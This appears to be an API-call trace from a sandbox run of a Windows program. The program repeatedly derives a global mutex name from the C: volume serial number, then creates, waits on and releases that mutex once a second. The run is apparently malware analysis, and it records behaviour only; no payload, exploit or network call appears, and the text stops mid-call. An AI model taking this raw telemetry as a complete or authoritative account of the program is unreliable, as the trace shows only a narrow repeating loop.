0x0 [0178.283] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f4 [0178.283] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x0) returned 0x0 [0178.283] GetProcessHeap () returned 0x6a0000 [0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0178.283] GetProcessHeap () returned 0x6a0000 [0178.283] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0130 | out: hHeap=0x6a0000) returned 1 [0178.283] ReleaseMutex (hMutex=0x1f4) returned 1 [0178.283] CloseHandle (hObject=0x1f4) returned 1 [0178.284] Sleep (dwMilliseconds=0x3e8) [0180.681] GetProcessHeap () returned 0x6a0000 [0180.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db0c0 [0180.681] GetProcessHeap () returned 0x6a0000 [0180.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db138 [0180.681] GetProcessHeap () returned 0x6a0000 [0180.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0180.681] GetProcessHeap () returned 0x6a0000 [0180.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7991d0 [0180.681] GetProcessHeap () returned 0x6a0000 [0180.681] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7991d0 | out: hHeap=0x6a0000) returned 1 [0180.681] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db138, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0180.681] GetProcessHeap () returned 0x6a0000 [0180.681] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0180.681] GetProcessHeap () returned 0x6a0000 [0180.681] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0180.681] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.682] GetProcessHeap () returned 0x6a0000 [0180.682] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0180.682] GetProcessHeap () returned 0x6a0000 [0180.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0180.682] GetProcessHeap () returned 0x6a0000 [0180.682] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0180.682] GetProcessHeap () returned 0x6a0000 [0180.682] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0180.682] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0180.682] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e8 [0180.682] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0x0) returned 0x0 [0180.682] GetProcessHeap () returned 0x6a0000 [0180.682] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0180.682] GetProcessHeap () returned 0x6a0000 [0180.682] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0180.682] ReleaseMutex (hMutex=0x1e8) returned 1 [0180.682] CloseHandle (hObject=0x1e8) returned 1 [0180.682] Sleep (dwMilliseconds=0x3e8) [0182.012] GetProcessHeap () returned 0x6a0000 [0182.012] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db110 [0182.012] GetProcessHeap () returned 0x6a0000 [0182.012] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db138 [0182.012] GetProcessHeap () returned 0x6a0000 [0182.012] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db0c0 [0182.012] GetProcessHeap () returned 0x6a0000 [0182.012] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x799178 [0182.012] GetProcessHeap () returned 0x6a0000 [0182.012] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x799178 | out: hHeap=0x6a0000) returned 1 [0182.012] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db138, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0182.012] GetProcessHeap () returned 0x6a0000 [0182.012] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0182.012] GetProcessHeap () returned 0x6a0000 [0182.012] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db110 | out: hHeap=0x6a0000) returned 1 [0182.012] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0182.013] GetProcessHeap () returned 0x6a0000 [0182.013] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0182.013] GetProcessHeap () returned 0x6a0000 [0182.013] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0182.013] GetProcessHeap () returned 0x6a0000 [0182.013] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0182.013] GetProcessHeap () returned 0x6a0000 [0182.013] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0182.013] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0182.013] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1ec [0182.014] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0182.014] GetProcessHeap () returned 0x6a0000 [0182.014] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0182.014] GetProcessHeap () returned 0x6a0000 [0182.014] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0182.014] ReleaseMutex (hMutex=0x1ec) returned 1 [0182.014] CloseHandle (hObject=0x1ec) returned 1 [0182.014] Sleep (dwMilliseconds=0x3e8) [0183.244] GetProcessHeap () returned 0x6a0000 [0183.244] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db110 [0183.244] GetProcessHeap () returned 0x6a0000 [0183.244] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db070 [0183.244] GetProcessHeap () returned 0x6a0000 [0183.244] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db138 [0183.244] GetProcessHeap () returned 0x6a0000 [0183.244] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7990e0 [0183.244] GetProcessHeap () returned 0x6a0000 [0183.244] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7990e0 | out: hHeap=0x6a0000) returned 1 [0183.244] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db070, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0183.244] GetProcessHeap () returned 0x6a0000 [0183.244] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0183.244] GetProcessHeap () returned 0x6a0000 [0183.244] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db110 | out: hHeap=0x6a0000) returned 1 [0183.244] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0183.246] GetProcessHeap () returned 0x6a0000 [0183.246] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0183.246] GetProcessHeap () returned 0x6a0000 [0183.246] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0183.246] GetProcessHeap () returned 0x6a0000 [0183.246] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0183.246] GetProcessHeap () returned 0x6a0000 [0183.246] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0183.246] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0183.246] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e8 [0183.246] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0x0) returned 0x0 [0183.246] GetProcessHeap () returned 0x6a0000 [0183.246] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0183.246] GetProcessHeap () returned 0x6a0000 [0183.246] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0183.247] ReleaseMutex (hMutex=0x1e8) returned 1 [0183.247] CloseHandle (hObject=0x1e8) returned 1 [0183.247] Sleep (dwMilliseconds=0x3e8) [0184.402] GetProcessHeap () returned 0x6a0000 [0184.402] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db070 [0184.402] GetProcessHeap () returned 0x6a0000 [0184.402] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db110 [0184.402] GetProcessHeap () returned 0x6a0000 [0184.402] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db138 [0184.402] GetProcessHeap () returned 0x6a0000 [0184.402] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7317e8 [0184.402] GetProcessHeap () returned 0x6a0000 [0184.402] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7317e8 | out: hHeap=0x6a0000) returned 1 [0184.402] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db110, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0184.402] GetProcessHeap () returned 0x6a0000 [0184.402] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0184.402] GetProcessHeap () returned 0x6a0000 [0184.402] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0184.402] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0184.402] GetProcessHeap () returned 0x6a0000 [0184.402] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db110 | out: hHeap=0x6a0000) returned 1 [0184.402] GetProcessHeap () returned 0x6a0000 [0184.403] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0184.403] GetProcessHeap () returned 0x6a0000 [0184.403] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0184.403] GetProcessHeap () returned 0x6a0000 [0184.403] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0184.403] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0184.403] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e8 [0184.403] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0x0) returned 0x0 [0184.403] GetProcessHeap () returned 0x6a0000 [0184.403] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0184.403] GetProcessHeap () returned 0x6a0000 [0184.403] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0184.403] ReleaseMutex (hMutex=0x1e8) returned 1 [0184.403] CloseHandle (hObject=0x1e8) returned 1 [0184.403] Sleep (dwMilliseconds=0x3e8) [0185.547] GetProcessHeap () returned 0x6a0000 [0185.547] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db110 [0185.547] GetProcessHeap () returned 0x6a0000 [0185.547] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db070 [0185.547] GetProcessHeap () returned 0x6a0000 [0185.547] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db138 [0185.547] GetProcessHeap () returned 0x6a0000 [0185.547] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x731738 [0185.547] GetProcessHeap () returned 0x6a0000 [0185.547] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x731738 | out: hHeap=0x6a0000) returned 1 [0185.547] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db070, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0185.547] GetProcessHeap () returned 0x6a0000 [0185.547] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0185.547] GetProcessHeap () returned 0x6a0000 [0185.547] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db110 | out: hHeap=0x6a0000) returned 1 [0185.547] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0185.548] GetProcessHeap () returned 0x6a0000 [0185.548] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0185.548] GetProcessHeap () returned 0x6a0000 [0185.548] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0185.548] GetProcessHeap () returned 0x6a0000 [0185.548] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0185.548] GetProcessHeap () returned 0x6a0000 [0185.548] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0185.548] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0185.548] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f8 [0185.548] WaitForSingleObject (hHandle=0x1f8, dwMilliseconds=0x0) returned 0x0 [0185.548] GetProcessHeap () returned 0x6a0000 [0185.548] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0185.548] GetProcessHeap () returned 0x6a0000 [0185.548] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0185.548] ReleaseMutex (hMutex=0x1f8) returned 1 [0185.548] CloseHandle (hObject=0x1f8) returned 1 [0185.548] Sleep (dwMilliseconds=0x3e8) [0186.653] GetProcessHeap () returned 0x6a0000 [0186.653] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db070 [0186.653] GetProcessHeap () returned 0x6a0000 [0186.653] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db110 [0186.653] GetProcessHeap () returned 0x6a0000 [0186.653] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db138 [0186.653] GetProcessHeap () returned 0x6a0000 [0186.653] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7990e0 [0186.653] GetProcessHeap () returned 0x6a0000 [0186.653] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7990e0 | out: hHeap=0x6a0000) returned 1 [0186.653] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db110, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0186.653] GetProcessHeap () returned 0x6a0000 [0186.653] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0186.653] GetProcessHeap () returned 0x6a0000 [0186.653] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0186.653] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0186.654] GetProcessHeap () returned 0x6a0000 [0186.654] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db110 | out: hHeap=0x6a0000) returned 1 [0186.654] GetProcessHeap () returned 0x6a0000 [0186.654] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0186.654] GetProcessHeap () returned 0x6a0000 [0186.654] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0186.654] GetProcessHeap () returned 0x6a0000 [0186.654] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0186.654] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0186.654] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1fc [0186.654] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x0 [0186.654] GetProcessHeap () returned 0x6a0000 [0186.654] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0186.654] GetProcessHeap () returned 0x6a0000 [0186.654] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0186.654] ReleaseMutex (hMutex=0x1fc) returned 1 [0186.654] CloseHandle (hObject=0x1fc) returned 1 [0186.654] Sleep (dwMilliseconds=0x3e8) [0187.792] GetProcessHeap () returned 0x6a0000 [0187.792] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db110 [0187.792] GetProcessHeap () returned 0x6a0000 [0187.792] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db070 [0187.792] GetProcessHeap () returned 0x6a0000 [0187.792] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db138 [0187.792] GetProcessHeap () returned 0x6a0000 [0187.792] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x731738 [0187.792] GetProcessHeap () returned 0x6a0000 [0187.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x731738 | out: hHeap=0x6a0000) returned 1 [0187.792] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db070, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0187.793] GetProcessHeap () returned 0x6a0000 [0187.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0187.793] GetProcessHeap () returned 0x6a0000 [0187.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db110 | out: hHeap=0x6a0000) returned 1 [0187.793] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0187.793] GetProcessHeap () returned 0x6a0000 [0187.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0187.793] GetProcessHeap () returned 0x6a0000 [0187.793] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0187.794] GetProcessHeap () returned 0x6a0000 [0187.794] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0187.794] GetProcessHeap () returned 0x6a0000 [0187.794] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0187.794] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0187.794] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e8 [0187.794] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0x0) returned 0x0 [0187.794] GetProcessHeap () returned 0x6a0000 [0187.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0187.794] GetProcessHeap () returned 0x6a0000 [0187.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0187.794] ReleaseMutex (hMutex=0x1e8) returned 1 [0187.795] CloseHandle (hObject=0x1e8) returned 1 [0187.795] Sleep (dwMilliseconds=0x3e8) [0189.191] GetProcessHeap () returned 0x6a0000 [0189.191] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db070 [0189.191] GetProcessHeap () returned 0x6a0000 [0189.191] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db110 [0189.191] GetProcessHeap () returned 0x6a0000 [0189.191] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db138 [0189.191] GetProcessHeap () returned 0x6a0000 [0189.191] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7990e0 [0189.191] GetProcessHeap () returned 0x6a0000 [0189.191] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7990e0 | out: hHeap=0x6a0000) returned 1 [0189.191] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db110, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0189.191] GetProcessHeap () returned 0x6a0000 [0189.191] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0189.191] GetProcessHeap () returned 0x6a0000 [0189.191] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0189.191] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.192] GetProcessHeap () returned 0x6a0000 [0189.192] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db110 | out: hHeap=0x6a0000) returned 1 [0189.192] GetProcessHeap () returned 0x6a0000 [0189.192] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0189.192] GetProcessHeap () returned 0x6a0000 [0189.192] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0189.192] GetProcessHeap () returned 0x6a0000 [0189.192] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0189.192] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0189.192] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x200 [0189.192] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x0 [0189.192] GetProcessHeap () returned 0x6a0000 [0189.192] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0189.193] GetProcessHeap () returned 0x6a0000 [0189.193] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0189.193] ReleaseMutex (hMutex=0x200) returned 1 [0189.193] CloseHandle (hObject=0x200) returned 1 [0189.193] Sleep (dwMilliseconds=0x3e8) [0190.315] GetProcessHeap () returned 0x6a0000 [0190.315] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db110 [0190.315] GetProcessHeap () returned 0x6a0000 [0190.315] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db070 [0190.315] GetProcessHeap () returned 0x6a0000 [0190.315] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db138 [0190.315] GetProcessHeap () returned 0x6a0000 [0190.315] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x731738 [0190.315] GetProcessHeap () returned 0x6a0000 [0190.315] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x731738 | out: hHeap=0x6a0000) returned 1 [0190.315] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db070, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0190.315] GetProcessHeap () returned 0x6a0000 [0190.315] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0190.316] GetProcessHeap () returned 0x6a0000 [0190.316] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db110 | out: hHeap=0x6a0000) returned 1 [0190.316] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, 